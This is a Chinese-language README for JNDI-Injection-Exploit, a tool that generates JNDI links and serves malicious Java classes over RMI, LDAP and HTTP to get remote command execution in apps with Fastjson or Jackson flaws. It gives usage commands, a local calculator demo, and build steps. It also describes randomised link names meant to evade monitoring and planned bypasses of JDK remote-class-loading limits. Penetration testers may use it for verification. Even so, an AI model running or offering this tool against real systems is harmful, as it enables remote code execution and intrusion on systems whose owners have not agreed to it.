JNDI-Injection-ExploitJNDI 注入測試工具
JNDI-Injection-Exploit —— JNDI 注入利用工具,生成 JNDI 鏈接并啟動后端相關(guān)服務(wù),可用于 Fastjson、Jackson 等相關(guān)漏洞的驗(yàn)證。
使用
可執(zhí)行程序?yàn)?jar 包,在命令行中運(yùn)行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-
-C - 遠(yuǎn)程 class 文件中要執(zhí)行的命令。
(可選項 , 默認(rèn)命令是 mac 下打開計算器,即"open /Applications/Calculator.app")
-
-A - 服務(wù)器地址,可以是 IP 地址或者域名。
(可選項 , 默認(rèn)地址是第一個網(wǎng)卡地址)
注意:
-
要確保 1099、1389、8180 端口可用,不被其他程序占用。
或者你也可以在 run.ServerStart 類 26~28 行更改默認(rèn)端口。
-
命令會被作為參數(shù)傳入 Runtime.getRuntime().exec(),
所以需要確保命令傳入 exec() 方法可執(zhí)行。
bash等可在shell直接執(zhí)行的相關(guān)命令需要加雙引號,比如說 java -jar JNDI.jar -C "bash -c ..."
示例
本地演示:
-
啟動 JNDI-Injection-Exploit:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
我們需要把第一步中生成的 JNDI 鏈接注入到存在漏洞的應(yīng)用環(huán)境中,方便解釋用如下代碼模仿漏洞環(huán)境:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
當(dāng)上面代碼運(yùn)行后,應(yīng)用便會執(zhí)行相應(yīng)命令,這里是彈出計算器,沒截圖,可以自己測一下。
截圖是工具的server端日志:
安裝
下面兩種方法都可以得到Jar包
-
從 Realease直接下載最新的Jar。
-
把源碼下載到本地然后自行編譯打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+環(huán)境下測試可以)
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit$ mvn clean package -DskipTests
工具實(shí)現(xiàn)
- 首先生成的鏈接后面codebaseClass是6位隨機(jī)的,這個是因?yàn)椴幌M尮ぞ呱傻逆溄颖旧沓蔀橐环N特征被監(jiān)控或攔截。
- 服務(wù)器地址實(shí)際就是codebase地址,相比于marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server綁定到一起,并自動啟動HTTP server返回相應(yīng)class,更自動化了。
- HTTP server基于jetty實(shí)現(xiàn)的,本質(zhì)上是一個能下載文件的servlet,比較有意思的是我提前編譯好class模板放到resource目錄,然后servlet會讀取class文件,使用ASM框架對讀取的字節(jié)碼進(jìn)行修改,然后插入我們想要執(zhí)行的命令,返回修改后的字節(jié)碼。
待實(shí)現(xiàn)
- (已完成EL表達(dá)式繞過部分)在更高版本的 JDK 環(huán)境中 trustURLCodebase 變量為 false,限制了遠(yuǎn)程類的加載,我會找時間把JNDI-Injection-Bypass這個項目的東西融入到本項目中,生成能繞過 JDK 限制 JNDI 鏈接。
